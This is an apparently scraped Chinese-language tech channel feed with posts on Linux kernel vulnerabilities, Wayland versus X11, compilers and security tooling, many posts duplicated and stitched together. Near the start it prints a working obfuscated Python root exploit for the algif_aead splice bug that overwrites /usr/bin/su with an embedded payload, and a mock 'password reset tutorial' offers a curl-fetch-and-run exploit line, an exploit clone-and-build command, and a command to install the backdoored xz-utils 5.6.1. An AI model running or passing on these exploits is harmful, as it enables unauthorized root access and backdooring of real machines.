#security #bash algif_aead 允许用户态程序(User Space)通过sock接口调用内核实现的加密算法(比如 AES-GCM,TLS 1.2/LUKS)。
对于大多数常规服务器,禁用该模块不会产生任何业务影响。 😅👎
绝大多数常见的 Web 服务器(如 Nginx、Apache)和编程语言(如 Python、Go、Node.js)使用的是用户态加密库 OpenSSL / BoringSSL,而不是通过内核 Socket 接口。
直接在ipy输入 %cpaste ,亲测直接一键root
内核开发者为了提升性能,在 algif_aead 模块中引入了一个“原地操作 (in-place)”的优化补丁,让解密操作复用同一个内存缓冲区以节省开销。
如果利用内核的 splice() 系统调用,攻击者可以欺骗内核,使其在处理失败的解密操作时,将 4 个字节的攻击者可控数据,写入到系统的文件页缓存 (Page Cache) 中。
攻击者利用 splice 把一个只读的系统文件(比如权限配置文件)伪装成加密数据的缓冲区。当解密失败时,内核本该报错,却因为逻辑混乱,顺手把一些攻击者控制的数据“原地”写入
就像 arr.slice(start, end) 如果参数传得太离谱,JS 会帮你静默处理成空或合法范围。Linux的字节实现里,这意味着你改了内存,就等于改了文件。
攻击者可以控制内核内存的覆盖内容,他们可以破坏关键的内核数据结构(如 cred 结构体)仅用 10 行左右的纯 Python 脚本就能在任何平台上实现稳定提权。
😅😅😅 🐧
ssize到底有什么意义?答:表达NULL,或者说JS的?.和 ?? 运算符,这真是“优雅” #ce
Rust也不是什么好鸟。ssize_t不仅写起来又长又易混,语义上还把bool性和uint性(T? vs T)混为一谈。Rust没有真正意义上将值vs错误作为一等公民,还在拿这个区分工程师的熟练度。类型税(Type Tax)
对于大多数常规服务器,禁用该模块不会产生任何业务影响。 😅👎
ss -a | grep -i alg 若为空,则可以直接 rmmod algif_aead绝大多数常见的 Web 服务器(如 Nginx、Apache)和编程语言(如 Python、Go、Node.js)使用的是用户态加密库 OpenSSL / BoringSSL,而不是通过内核 Socket 接口。
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
直接在ipy输入 %cpaste ,亲测直接一键root
内核开发者为了提升性能,在 algif_aead 模块中引入了一个“原地操作 (in-place)”的优化补丁,让解密操作复用同一个内存缓冲区以节省开销。
如果利用内核的 splice() 系统调用,攻击者可以欺骗内核,使其在处理失败的解密操作时,将 4 个字节的攻击者可控数据,写入到系统的文件页缓存 (Page Cache) 中。
攻击者利用 splice 把一个只读的系统文件(比如权限配置文件)伪装成加密数据的缓冲区。当解密失败时,内核本该报错,却因为逻辑混乱,顺手把一些攻击者控制的数据“原地”写入
就像 arr.slice(start, end) 如果参数传得太离谱,JS 会帮你静默处理成空或合法范围。Linux的字节实现里,这意味着你改了内存,就等于改了文件。
攻击者可以控制内核内存的覆盖内容,他们可以破坏关键的内核数据结构(如 cred 结构体)仅用 10 行左右的纯 Python 脚本就能在任何平台上实现稳定提权。
😅😅😅 🐧
内核在某些路径下,使用了 size_t(无符号)和 ssize_t(有符号)的混合运算,这反映Rust的 i32 vs u32 vs usize 命名设计更合理。size类型名太长就会叫人懒得写
ssize到底有什么意义?答:表达NULL,或者说JS的?.和 ?? 运算符,这真是“优雅” #ce
Rust也不是什么好鸟。ssize_t不仅写起来又长又易混,语义上还把bool性和uint性(T? vs T)混为一谈。Rust没有真正意义上将值vs错误作为一等公民,还在拿这个区分工程师的熟练度。类型税(Type Tax)
duangsuse::Echo
AI-assisted. The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class 2017 algif_aead in-place optimization The same 732-byte Python script roots every…
#security #bash Again
最受信任的代码基也脏的要命。Ring0~3的划分有问题吗?
基本上没有意义(全球去掉你也能玩手机)的模块,发行版也默认启用。代码和sysno越多,攻击面越大。
我觉得非常可笑。如果【系统级】安全要靠加班比赛保障(这还不提几乎100%有的弱密码、反钓鱼缺位等社工库问题)
那么Ring(-1)的安全就毫无意义了。CPU和DDR工作多少年才会出现一次bitflip且正好在struct cred{}或SUID位上?要靠挖洞效率比赛?那么,硬件所有权的可靠性在哪里!
#statement
最受信任的代码基也脏的要命。Ring0~3的划分有问题吗?
基本上没有意义(全球去掉你也能玩手机)的模块,发行版也默认启用。代码和sysno越多,攻击面越大。
我觉得非常可笑。如果【系统级】安全要靠加班比赛保障(这还不提几乎100%有的弱密码、反钓鱼缺位等社工库问题)
那么Ring(-1)的安全就毫无意义了。CPU和DDR工作多少年才会出现一次bitflip且正好在struct cred{}或SUID位上?要靠挖洞效率比赛?那么,硬件所有权的可靠性在哪里!
#statement
我觉得这是非常值得「软件工程」界反思的CVE,不是因为主流白帽子们的工作成果,第一次有0day本地提权那么知名(安卓一键root全是)
而是为什么主流Linuxer都以严重冗余为美,好像安装镜像凑不足4GB就不叫操作系统 #os #design
如果非要构建“禁止下载”的信任链,Linux这种libc实现还有什么价值?如果有木马,长期来看静态加密都是不安全的
duangsuse::Echo
如果App是干净的,能用手抓,谁会用手套(sched+vm.c)和筷子(Rust/apksigner),还要感谢上帝(碰运气没病毒/没CF的Rust宕机事件)你才能吃呢?
#statement 😅
我第一次听说AI(概率模型)有全站改密码的权限,还不区分prompt的role
现代的程序员都是些什么?Linux也有十几个内存安全,甚至NginX也有RCE问题
是不是和千年虫时期一样,初次跑通就行,世界末日在2000年零日?
完全没有常理和用户知识,简直还不如普通用户清楚场景和数据流
写代码的数据流和场景感知能力垃圾,框架就垃圾,App就到处有问题。
我天天拼接裸HTML,非常清楚每个函数都是注入点。如果切到Rust要写100行代码,漏洞照样会被放着。教条主义洁净没蛋用。
差生文具多,正好是Next.js Flight RCE那种无病呻吟最恶心
#bash
2026 Linux 重置密码教程大全
- Dirty Cow (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- io_uring UAF (CVE-2022-2602)
- Copy Fail (CVE-2026-31431)
- io_uring ZCRX freelist (CVE-2026-43121)
- Dirty Frag (CVE-2026-43284 CVE-2026-43500)
- Fragnesia (CVE-2026-46300)
- https://depthfirst.com/nginx-rift 只能通过KVM物理访问服务器? 没关系,我们的专业黑客团队也可以通过nginx帮助运维您的服务器!
傻逼C程序员以为自己次次都能纯手写迷你版GC,结果被真人机干爆。到底谁是法学博士呢? 🦞 😅
我第一次听说AI(概率模型)有全站改密码的权限,还不区分prompt的role
现代的程序员都是些什么?Linux也有十几个内存安全,甚至NginX也有RCE问题
是不是和千年虫时期一样,初次跑通就行,世界末日在2000年零日?
完全没有常理和用户知识,简直还不如普通用户清楚场景和数据流
Rust就更搞笑了,CF宕机了两次
如果限制和Type nonsense(类型胡闹)就能解决问题,我的白页是最防攻击的。Rust的安全范式还不如CSP呢
写代码的数据流和场景感知能力垃圾,框架就垃圾,App就到处有问题。
我天天拼接裸HTML,非常清楚每个函数都是注入点。如果切到Rust要写100行代码,漏洞照样会被放着。教条主义洁净没蛋用。
差生文具多,正好是Next.js Flight RCE那种无病呻吟最恶心
#bash
2026 Linux 重置密码教程大全
- Dirty Cow (CVE-2016-5195)
- Dirty Pipe (CVE-2022-0847)
- io_uring UAF (CVE-2022-2602)
- Copy Fail (CVE-2026-31431)
- io_uring ZCRX freelist (CVE-2026-43121)
- Dirty Frag (CVE-2026-43284 CVE-2026-43500)
- Fragnesia (CVE-2026-46300)
- https://depthfirst.com/nginx-rift 只能通过KVM物理访问服务器? 没关系,我们的专业黑客团队也可以通过nginx帮助运维您的服务器!
听说您在用高端网卡但忘记了您的 Root 密码?
听说您在用 MacBook?
听说您的 Web 服务器忘记放通 SSH 端口还没有 VNC 访问?
听说您又忘记了您的 SSH Private Key?
听说您的 Windows 11 电脑开了 BitLocker 还忘记了锁屏密码?
curl https://copy.fail/exp python3 && su
git clone https://github.com/V4bel/dirtyfrag.git&& cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
https://github.com/tukaani-project/xz/tree/v5.6.1
sudo apt install xz-utils=5.6.1-1
sudo systemctl restart ssh
傻逼C程序员以为自己次次都能纯手写迷你版GC,结果被真人机干爆。到底谁是法学博士呢? 🦞 😅
depthfirst
NGINX Rift
An 18 year old memory corruption flaw in NGINX Plus and NGINX Open Source lets an unauthenticated attacker crash worker processes or execute remote code with crafted HTTP requests.
#dalao #linux
1992年,李博杰出生。 01.me
2010年,进入中国科学技术大学少年班学院学习。在校期间,担任中科大镜像站USTC Mirrors的维护者。
2014年,以联合培养博士生的身份,加入中国科学技术大学与微软亚洲研究院(MSRA)的联合项目。
2019年,获得中国科学技术大学与微软亚洲研究院的合作培养博士生项目中取得计算机科学学位,导师为张霖涛教授和陈恩红教授。
曾任华为2012实验室中央软件研究所计算机网络与协议实验室、分布式与并行软件实验室助理科学家、副首席专家,并且以第一批“天才少年”的身份于2019年加入华为,职级P20 (技术专家A级别)。
2023年7月,离开华为后成立了Logenic AI。
https://01.me/2015/06/lug-servers-hacked/ #security #bash
1992年,李博杰出生。 01.me
2010年,进入中国科学技术大学少年班学院学习。在校期间,担任中科大镜像站USTC Mirrors的维护者。
2014年,以联合培养博士生的身份,加入中国科学技术大学与微软亚洲研究院(MSRA)的联合项目。
2019年,获得中国科学技术大学与微软亚洲研究院的合作培养博士生项目中取得计算机科学学位,导师为张霖涛教授和陈恩红教授。
曾任华为2012实验室中央软件研究所计算机网络与协议实验室、分布式与并行软件实验室助理科学家、副首席专家,并且以第一批“天才少年”的身份于2019年加入华为,职级P20 (技术专家A级别)。
2023年7月,离开华为后成立了Logenic AI。
https://01.me/2015/06/lug-servers-hacked/ #security #bash
刷到了个好玩的! LUG mirrors 曾经因为博主被 BadUSB植入的keylogger 登录密码(不是私钥)?盗号而停服
cracker植入了一个模拟bitflip的write(1) hook kmod,在每次IO时 dd if=rand of=sda bs=1B 乱搞一个字节,积攒下来搞坏了许多文件。实在是非常“幽默”
2015.5 月中旬,LUG 举行了白帽子大赛,31号就挂了,影响VPN和freeshell服务,看起来招惹了不该惹的“同学”
duangsuse::Echo
最近读到一些文章认为Wayland的集成度太低了,
#bash Linux桌面的架构变迁 🖥
老协议就不能用吗?FTP依然被用于SSH文件分享,ELF也万年不变。 我们通常认为Xwin的失败之处在于socket的“过度网络化/浪费拷贝”、安全问题和积重难返
其实,现代基于GPU对象id,并没有性能问题,至于.ssh都能乱读的发行版就更别说啥点击劫持和keylogger了。X不如wl那样面向事件,并且给予xywh(无装饰的窗口)混合器的编程自由度较低,在一些细枝末节(比如HDR/VRR/触摸板手势)上没有更新,它不受 Waydroid; Omarchy(Hypr.land) 和 Niri (推广一种横向平铺的GNOME动态工作区)支持
总而言之,KDE的决策是不错的(包括他们最近在SteamDeck开箱即用的亮眼表现),wl仍有坑要踩
KDE社区的兼容性一贯是非常好的,包括不歧视Win快捷键、兼容微软/谷歌/OSX的设计风格(MD3的颜色设计、klassy、liquid glass 都有AUR特效插件)
在SteamOS上的gamescope利用了wlroots的嵌套合成器特性,让游戏窗口1920x1080 60 FPS超分辨率执行,这个就真是和Sunshine或Proton一样神的图形应用了。设想一下,还没有任何一个消费级OS能实现在截屏时提升视频/网页/App分辨率的效果,但是wl能零摩擦的做到 👍 🎮
老协议就不能用吗?FTP依然被用于SSH文件分享,ELF也万年不变。 我们通常认为Xwin的失败之处在于socket的“过度网络化/浪费拷贝”、安全问题和积重难返
其实,现代基于GPU对象id,并没有性能问题,至于.ssh都能乱读的发行版就更别说啥点击劫持和keylogger了。X不如wl那样面向事件,并且给予xywh(无装饰的窗口)混合器的编程自由度较低,在一些细枝末节(比如HDR/VRR/触摸板手势)上没有更新,它不受 Waydroid; Omarchy(Hypr.land) 和 Niri (推广一种横向平铺的GNOME动态工作区)支持
X11体系里KWin这些东西更像是xywh上画一个标题边框的外挂,一个旁听生(当然,这不影响XFCE高级的透明混成、KDE和Compiz的GL果冻窗口),比如systray的实现,就是硬塞一个32x32窗口到任务栏
但是wl里,以牺牲兼容性的方式,KDE和GTK4获得了xywh摆放的主导权,然而实际上,wl并不比X快多少,甚至有许多功能(如不可变色温和整数倍缩放)也是近年才改掉的。wl也没有在发展中规避错误,比如,面向事件到以为wm比mpv/ffmpeg更懂rAF帧回调和解码
按理说wl不该犯这样蠢的错误(比如Ctrl+C/V/O/S的基本功能性统一、截屏录屏、动画布局和av解码调度器的区分),再如systray被简化为 SNI API 的icon和目录树(如同浏览器插件右键菜单),明显是GNOME中心的设计,很可能要像Android那样,等加了Calendar和Clock,番茄钟什么的,架构又腐烂了呢?当然, notify-send 确实很方便
总而言之,KDE的决策是不错的(包括他们最近在SteamDeck开箱即用的亮眼表现),wl仍有坑要踩
KDE社区的兼容性一贯是非常好的,包括不歧视Win快捷键、兼容微软/谷歌/OSX的设计风格(MD3的颜色设计、klassy、liquid glass 都有AUR特效插件)
在SteamOS上的gamescope利用了wlroots的嵌套合成器特性,让游戏窗口1920x1080 60 FPS超分辨率执行,这个就真是和Sunshine或Proton一样神的图形应用了。设想一下,还没有任何一个消费级OS能实现在截屏时提升视频/网页/App分辨率的效果,但是wl能零摩擦的做到 👍 🎮
duangsuse::Echo
最近读到一些文章认为Wayland的集成度太低了
Dedoimedo
Long live Xorg, I mean Xlibre!
Article introducing Xlibre xserver, a fork of the Xorg project created due to severe functional problems with the Wayland display protocol, including reasoning behind the fork, numerous unresolved issues and missing use cases in Wayland, forced adoption of…
Wayland相对于X11有什么技术架构上的优势?
--
https://www.dedoimedo.com/computers/xlibre.html 认为X11没有造成实质性问题且性能更好
Peek,是一款用户体验堪称巅峰的GIF录屏应用。它超级直观,只有一个透明窗体和按钮。如果不使用快捷键来启动录屏,大概没有录屏集成能做到这样零摩擦。它的后端就是 ffmpeg grab 但窗口化选区的可拖动设计可称绝唱
因为wl的“用户不需要”杀死了Peek
wl的架构用一个UMat+面向事件和最小权限就能说清,但它的考量呢? 截图录屏远控(性能),甚至剪贴板DnD输入法,这些都是显然预见的到,兼容性会出问题的。直接撕裂成GTK/QML/wlr三派,又不让用root桌面。
--
值得注意的是,全局热键、全局菜单栏、屏幕色温和skipTaskbar也是和剪贴板、sysTray、MIME打开或发送同级的桌面协议问题
如果KiCAD和Krita这些“原生”应用都认为Wayland授权弹框的缺位让旧功能的兼容(例如简单的记住窗口位置)都不可能,是否说明wl必须把XWayland作为ABI保障来维护?
--
#ai探讨 #bash 上文,感觉这些人还挺严肃的讨厌wl
--
https://www.dedoimedo.com/computers/xlibre.html 认为X11没有造成实质性问题且性能更好
Peek,是一款用户体验堪称巅峰的GIF录屏应用。它超级直观,只有一个透明窗体和按钮。如果不使用快捷键来启动录屏,大概没有录屏集成能做到这样零摩擦。它的后端就是 ffmpeg grab 但窗口化选区的可拖动设计可称绝唱
因为wl的“用户不需要”杀死了Peek
--
套一层UNIX socket真的有很大问题吗? client会把pixmap拷贝一次?
X11和wl实现的都只是 wdiv2bmp (roots和xwyh) 与pointer事件这样的简单功能
--
没错,相对于普通div和窗口装饰器,roots 还包括IME、menu等特殊类型窗口(surface)、显卡UMat和dirtyRects/VRR/DPI等性能要求。wl基本上就是把skia/svg的职务交给GTK4/Qt6去办了,至于截图什么的就开始碎片化了
在OBS和RPA的支持上,跳过了Pipewire的Sunshine显著快于wl的远控。wlroots; wev; kdotool 很明确的展示了桌面ClientRect的特性,但它们的完成度相对于成本和代码行数并不高
wl的架构用一个UMat+面向事件和最小权限就能说清,但它的考量呢? 截图录屏远控(性能),甚至剪贴板DnD输入法,这些都是显然预见的到,兼容性会出问题的。直接撕裂成GTK/QML/wlr三派,又不让用root桌面。
--
值得注意的是,全局热键、全局菜单栏、屏幕色温和skipTaskbar也是和剪贴板、sysTray、MIME打开或发送同级的桌面协议问题
如果KiCAD和Krita这些“原生”应用都认为Wayland授权弹框的缺位让旧功能的兼容(例如简单的记住窗口位置)都不可能,是否说明wl必须把XWayland作为ABI保障来维护?
--
Linux的容器化使任何一个curl|bash都能访问.ssh和浏览器cookie,又让Telegram.AppImage/Flatpak无法默认写入Downloads文件夹(需要手动剪贴),居然有人在说【安全可靠的窗口系统】。
wl没有的协议很大程度上都在D-Bus的通用服务(如Pipewire)里实现了,但这些服务并非在GTK/QML/wlr下都可用
mpv开发者表示,对于任何跨平台运行的程序来说,wl逼我们不能“浪费”帧,但却忽略了你可以把交换间隔设为 0 然后直接把帧扔掉。
#ai探讨 #bash 上文,感觉这些人还挺严肃的讨厌wl
duangsuse::Echo
统一的函数式接口,自动内存管理等等。
https://share.gemini.google/QJon73lAFArE #TIL #bash
GTK/QML 框架相关
- 请解释gtkmm如何实现C++闭包到gpointer的封装
- 树形父子对象管理 + 智能指针引用计数 (GObject ref/unref)?
- Gtk听起来为了blueprint做了很麻烦的设计,而且似乎无法避免,还不如Tk
- 有一种说法:C++桌面移动应用需求里,90%的指针是refcount<2的,这里说的不止是画布之上,还包含一般的日历、笔记等App的所有对象状态管理
- 也就是说Rc<RefCell>或QObject的模型非常够用。
- 当按钮 B 被主容器销毁时,连接到 B 的所有信号槽会自动断开,持有 B 的
GTK/QML 框架相关
- 请解释gtkmm如何实现C++闭包到gpointer的封装
auto f=new auto([=]() { g_object_set(parent_menu, "tearoff-state", TRUE, NULL); });
g_timeout_add(500, +[](gpointer uf) { auto u=static_cast<decltype(f)>(uf); (*u)(); delete u; return 0; } , f);- 树形父子对象管理 + 智能指针引用计数 (GObject ref/unref)?
- Gtk听起来为了blueprint做了很麻烦的设计,而且似乎无法避免,还不如Tk
- 有一种说法:C++桌面移动应用需求里,90%的指针是refcount<2的,这里说的不止是画布之上,还包含一般的日历、笔记等App的所有对象状态管理
- 也就是说Rc<RefCell>或QObject的模型非常够用。
unique_ptr(父持子)(跨节点访问)。- 当按钮 B 被主容器销毁时,连接到 B 的所有信号槽会自动断开,持有 B 的
QPointer 会自动置空。只有 1 个 Owner,但允许多个安全的 Observer。📝 完全同意你的观点:处理好那唯一一次的“所有权(Ownership)”,剩下的需求只靠“安全观察(Weak/Observer)”就足够完美覆盖了。Tkinter 和 Qt 都顺应了这种直觉
Gemini
Gemini - Qt/GTK 定时器 C++ 小抄
Created with Gemini
https://www.phoronix.com/news/Wayland-X11-Performance-PorteuX
https://github.com/fulalas/wmbench/blob/main/lib/win_wl.c 人家手搓的BENCH_BACKEND,没有RPA..
@ AMD Ryzen 7 32GB of RAM
#bash #performance Wayland, xfwm4-gl 项目做的测评
"KDE Plasma on Wayland along with the likes of Labwc and COSMIC not being far off"
https://github.com/fulalas/wmbench/blob/main/lib/win_wl.c 人家手搓的BENCH_BACKEND,没有RPA..
@ AMD Ryzen 7 32GB of RAM
#bash #performance Wayland, xfwm4-gl 项目做的测评
"KDE Plasma on Wayland along with the likes of Labwc and COSMIC not being far off"
Omarchy 的开发实践导致了可预见的安全问题
原文:https://blog.happyfellow.dev/merchants-of-insecurity/
阅读时间:2 分钟
分数:238
#bash 原汁原味开发的,连一个通知都可以导致注入🦄🦄🦄
项目方更热衷于折腾界面样式和 dotfiles 配置的迭代速度,而非操作系统的底层防护与基本安全。
通知服务通常走 D-Bus 等标准 IPC 协议,由成熟的二进制守护进程(如 dunst、mako 等)规范地解析和渲染。但一旦为了所谓的“轻量”、“极简”或“全栈 Bash”而自己动手写脚本处理管道流……
原文:https://blog.happyfellow.dev/merchants-of-insecurity/
阅读时间:2 分钟
分数:238
#bash 原汁原味开发的,连一个通知都可以导致注入🦄🦄🦄
项目方更热衷于折腾界面样式和 dotfiles 配置的迭代速度,而非操作系统的底层防护与基本安全。
通知服务通常走 D-Bus 等标准 IPC 协议,由成熟的二进制守护进程(如 dunst、mako 等)规范地解析和渲染。但一旦为了所谓的“轻量”、“极简”或“全栈 Bash”而自己动手写脚本处理管道流……
可是bash的生态位无法替代。人人都说bash -euo也不安全,但是没人能让一个简单的【操作记录】变成有意义的列表和对话框,所谓的严肃语言重写就算是AI也会写成屎
人人都说shell不好,可是shell能做的严肃语言没一个做的到
今日份的豆酱
请冷静地听我说: Nmap已经是29年前的端口扫描器了 Wireshark已经是28年前的抓包工具了 Burp Suite已经是23年前的渗透工具了 sqlmap已经是20年前的注入工具 Cobalt Strike已经是14年前的C2平台了 Kali Linux已经是13年前的渗透测试系 WannaCry已经是9年前的勒索软件 Log4Shell已经是5年前的漏洞
#security #bash
nmap 比你还老,甚至《黑客帝国2》里崔妮蒂用它黑电网都已经是 23 年前(2003)的镜头了。
IDA Pro 已经是 35 年前的反汇编器了(1991)
Ghidra 都已经是 7 年前开源的了(2019)
Metasploit 已经是 23 年前的框架了(2003)
Aircrack-ng 已经是 20 年前的 WiFi 破解工具了(2006)
Hashcat 已经是 17 年前的了(2009)
CVE 编号体系已经运行 27 年了(1999)
Heartbleed、Shellshock 已经是 12 年前的了(2014)
永恒之蓝 / Struts2 S2-045 和 WannaCry 同岁,9 年了(2017)
EternalBlue 已经是 9 年前泄露的 NSA 武器了
Log4Shell 已经是 5 年前(2021)的核弹了
Meltdown / Spectre 已经是 8 年前的了(2018)
熊猫烧香已经是 20 年前的病毒了(2006)
漏洞类型还是那几个——注入、反序列化、越权、弱口令
但是你仍然能用 binwalk; photorec; Recuva,当然能用 #reveng,用修改器、备份工具或 “资源盗录”,只是它们也没有以前那样强大了。 逆向工程显得不值,一部分是AI辅助原型与二开的好原因,也是因为AI短视频已经足够占用精力
MT管理器和AutoJS已经一口价几百了,没有资源社区的开源“砖头App”终究会消散。
==
在2023/2024年,破解一个1999年的512位RSA根密钥,成本 = 一台高端台式机 + 约30小时的运行时间。 https://t.iss.one/hacker_news_zh/24624
#dalao CMake UI https://nullprogram.com/blog/2026/04/07/
#reveng https://github.com/corkami/pics
#py https://www.dabeaz.com/tutorials.html
nmap 比你还老,甚至《黑客帝国2》里崔妮蒂用它黑电网都已经是 23 年前(2003)的镜头了。
IDA Pro 已经是 35 年前的反汇编器了(1991)
Ghidra 都已经是 7 年前开源的了(2019)
Metasploit 已经是 23 年前的框架了(2003)
Aircrack-ng 已经是 20 年前的 WiFi 破解工具了(2006)
Hashcat 已经是 17 年前的了(2009)
CVE 编号体系已经运行 27 年了(1999)
Heartbleed、Shellshock 已经是 12 年前的了(2014)
永恒之蓝 / Struts2 S2-045 和 WannaCry 同岁,9 年了(2017)
EternalBlue 已经是 9 年前泄露的 NSA 武器了
Log4Shell 已经是 5 年前(2021)的核弹了
Meltdown / Spectre 已经是 8 年前的了(2018)
熊猫烧香已经是 20 年前的病毒了(2006)
漏洞类型还是那几个——注入、反序列化、越权、弱口令
但是你仍然能用 binwalk; photorec; Recuva,当然能用 #reveng,用修改器、备份工具或 “资源盗录”,只是它们也没有以前那样强大了。 逆向工程显得不值,一部分是AI辅助原型与二开的好原因,也是因为AI短视频已经足够占用精力
MT管理器和AutoJS已经一口价几百了,没有资源社区的开源“砖头App”终究会消散。
==
在2023/2024年,破解一个1999年的512位RSA根密钥,成本 = 一台高端台式机 + 约30小时的运行时间。 https://t.iss.one/hacker_news_zh/24624
#dalao CMake UI https://nullprogram.com/blog/2026/04/07/
#reveng https://github.com/corkami/pics
#py https://www.dabeaz.com/tutorials.html
duangsuse::Echo
这似乎在开源软件(Luanti; BlockWild.app )上改了不少? #game 刚刚说这个, #bilibili 就有人一条对话线升级了 #CG , 轻松到甚至懒得发视频 Astra:不是使用逆向编译或泄露的 Minecraft 源码,而是复用了独立开发的开源引擎 Luanti 和玩法项目 Mineclonia,再做中文界面、光影配置等修改。 云层、树冠和远景一起重新调整。 让天空真正参与照明。水面重点处理了重复高光与反射失真 (水体深度吸收、菲涅尔反射与天空盒、方块AO) Astra…
#game #bash
Linux 在体素沙盒上可以说是成功的,甚至是超越性的。 MC是因为知名所以成功
VoxelLibre(Luanti.org) 采用了存档和游戏/MOD混合下载的内容DB,已经不是从前地形清奇的 Minetest
Veloren 采用了可以捏脸的方块精度LoD, 地形偏向宏大,是对 #rust 生成器和shader的秀肌肉(可惜audio似乎没有隔离,PC稍逊就破音败笔)
LLM 的过度工程则说明了这些游戏原理并不复杂,只是即便灵感合理(做成Pokemon那样),被Codex带偏就会表面OK能跑,实则万劫不复
Linux 在体素沙盒上可以说是成功的,甚至是超越性的。 MC是因为知名所以成功
VoxelLibre(Luanti.org) 采用了存档和游戏/MOD混合下载的内容DB,已经不是从前地形清奇的 Minetest
Veloren 采用了可以捏脸的方块精度LoD, 地形偏向宏大,是对 #rust 生成器和shader的秀肌肉(可惜audio似乎没有隔离,PC稍逊就破音败笔)
LLM 的过度工程则说明了这些游戏原理并不复杂,只是即便灵感合理(做成Pokemon那样),被Codex带偏就会表面OK能跑,实则万劫不复
duangsuse::Echo
我认为这些人,无论【学院派vs工程派】写语法都有一个毛病——不会看气氛,不知道二八定律。 就是厨子拿【PH试纸】在做糖醋里脊的感觉,好像他们没有预先想好要做什么
#statement #ce
GCC脆弱的像它logo上的蛋,LLVM就是《龙书》上的复杂性恶龙本身。
你以为【编译器大佬】很聪明,其实他们早就做了“背叛祖宗的决定”,后果是没人知道近100个Pass,你白嫖到了百分之几。 或许Linux/咕狗白嫖了很多,但60%是样板代码白给、瞎猫死耗子的 -O3 呢?
你可以写CSE,ADCE的图重构并期待它们在合适的 “z-index”,但别指望了。游戏界还知道AoS/SoA列存储呢,这优化可不是玄学
这方面 #Rust 也曾表达过MIR->IR的【技术债务】问题。C++的内存模型是mmap,几乎你能起名字的地方都有副作用,rs的干净到可以在内核堆跑,但还是要一样的链。
打个比方,写
#bash 许多人滚挂/-Syu后打不开 都是拜毫无兼容的GLIBC_ver所赐
说编译器大佬【背叛编译器的初衷】,简直再准确不过了。 PL首先是人机接口,其次才是任务工具
godbolt.org 在可视化上很优秀且该死的通用,但它和@birdseye.eye有同样的问题,就是只能优化短的文件。 %timeit 也很像了。理解一个算法比实现它难很多,因为没法照抄。
GCC脆弱的像它logo上的蛋,LLVM就是《龙书》上的复杂性恶龙本身。
你以为【编译器大佬】很聪明,其实他们早就做了“背叛祖宗的决定”,后果是没人知道近100个Pass,你白嫖到了百分之几。 或许Linux/咕狗白嫖了很多,但60%是样板代码白给、瞎猫死耗子的 -O3 呢?
你可以写CSE,ADCE的图重构并期待它们在合适的 “z-index”,但别指望了。游戏界还知道AoS/SoA列存储呢,这优化可不是玄学
像那种位运算优化boy(拿一些众所周知、宏替换级的素材)当然是会被IR模式匹配吊打的,但是像这种APX指令集覆盖率,就不得不让写FPGA模拟器的大牛写千字文来抓虫了。
因为耗子(优化机会)实在太多,总能碰上一两只死的(c/cpp还债式优化点),让你觉得这只猫很厉害。但它的工具链是黑箱,你没法宏观的、轻松的完整利用几千位贡献者的经验和劳动。
作为对比 import astroid, ast 这个库使用【不严谨】的brains做分析,虽然也黑箱,但它至少有suite。
比起设计那么多无脑优化的投入,我会考虑设计API转译生态然后具体专案跑分,供应链高度自动优化。给语言引入的【条件式糖化】脱壳,是一个非策略的堆砌性工作,结果可能还不如不去重造GCC
一个gcc的黑箱,加上libc基本上也就剩免费API+免捆绑打包而已,其实给这些Kit做错的空间并不多。比如可复现构建/跨发行版bin,到现在也没啥人强调,那就是没做,理论上更正确(否则和全AIGC一样次次惊吓你)。
这方面 #Rust 也曾表达过MIR->IR的【技术债务】问题。C++的内存模型是mmap,几乎你能起名字的地方都有副作用,rs的干净到可以在内核堆跑,但还是要一样的链。
打个比方,写
for(i=0;i<len(a);i++) 你会考虑a莫名递减吗?90%的编译器真会考虑这个问题,但把1%的case换filter{}就够了,它TM的要改几千行。 &mut 防别名不止是为了函数式处理链零拷贝,所以基本上编译派极端维护这些烧脑的语法。#bash 许多人滚挂/-Syu后打不开 都是拜毫无兼容的GLIBC_ver所赐
说编译器大佬【背叛编译器的初衷】,简直再准确不过了。 PL首先是人机接口,其次才是任务工具
godbolt.org 在可视化上很优秀且该死的通用,但它和@birdseye.eye有同样的问题,就是只能优化短的文件。 %timeit 也很像了。理解一个算法比实现它难很多,因为没法照抄。
#bash #english
这个qotd组合也太诡异了吧
Decay is normal: Everything requires maintenance because parts wear out. Like Murphy's law, it reminds us that perfection is temporary.
put together(拼凑、组装、聚合)对上 falls apart(散架、崩塌、解体)。它既是墨菲定律(Murphy's Law)的近亲,也是热力学第二定律(熵增定律)在世俗与工程界的冷峻翻译
——稳定是反常态且需要持续做功的,语言永远无法表达语言所无法表达之物。
下一条刷出的 也是讽刺传统宗族、婚姻的神话破灭,Variety 俨然已经化身为一位看破红尘、端着红茶冷笑的厌世哲学家了。
然后就是 “把自己炒了” 的疯魔鬼畜,给人一种2027年人类一败涂地的玄学感觉 😅
Simon's Law: Everything put together falls apart sooner or later.
Words can never express what words can never express.
Yow! Are you the self-frying president? (哇哦,你会把自己炒了吗) #> bat /usr/share/fortune/zippy
(Wallpaper: Unsplash - 2027 Glossy Blue Liquid Numbers)
这个qotd组合也太诡异了吧
Decay is normal: Everything requires maintenance because parts wear out. Like Murphy's law, it reminds us that perfection is temporary.
put together(拼凑、组装、聚合)对上 falls apart(散架、崩塌、解体)。它既是墨菲定律(Murphy's Law)的近亲,也是热力学第二定律(熵增定律)在世俗与工程界的冷峻翻译
——稳定是反常态且需要持续做功的,语言永远无法表达语言所无法表达之物。
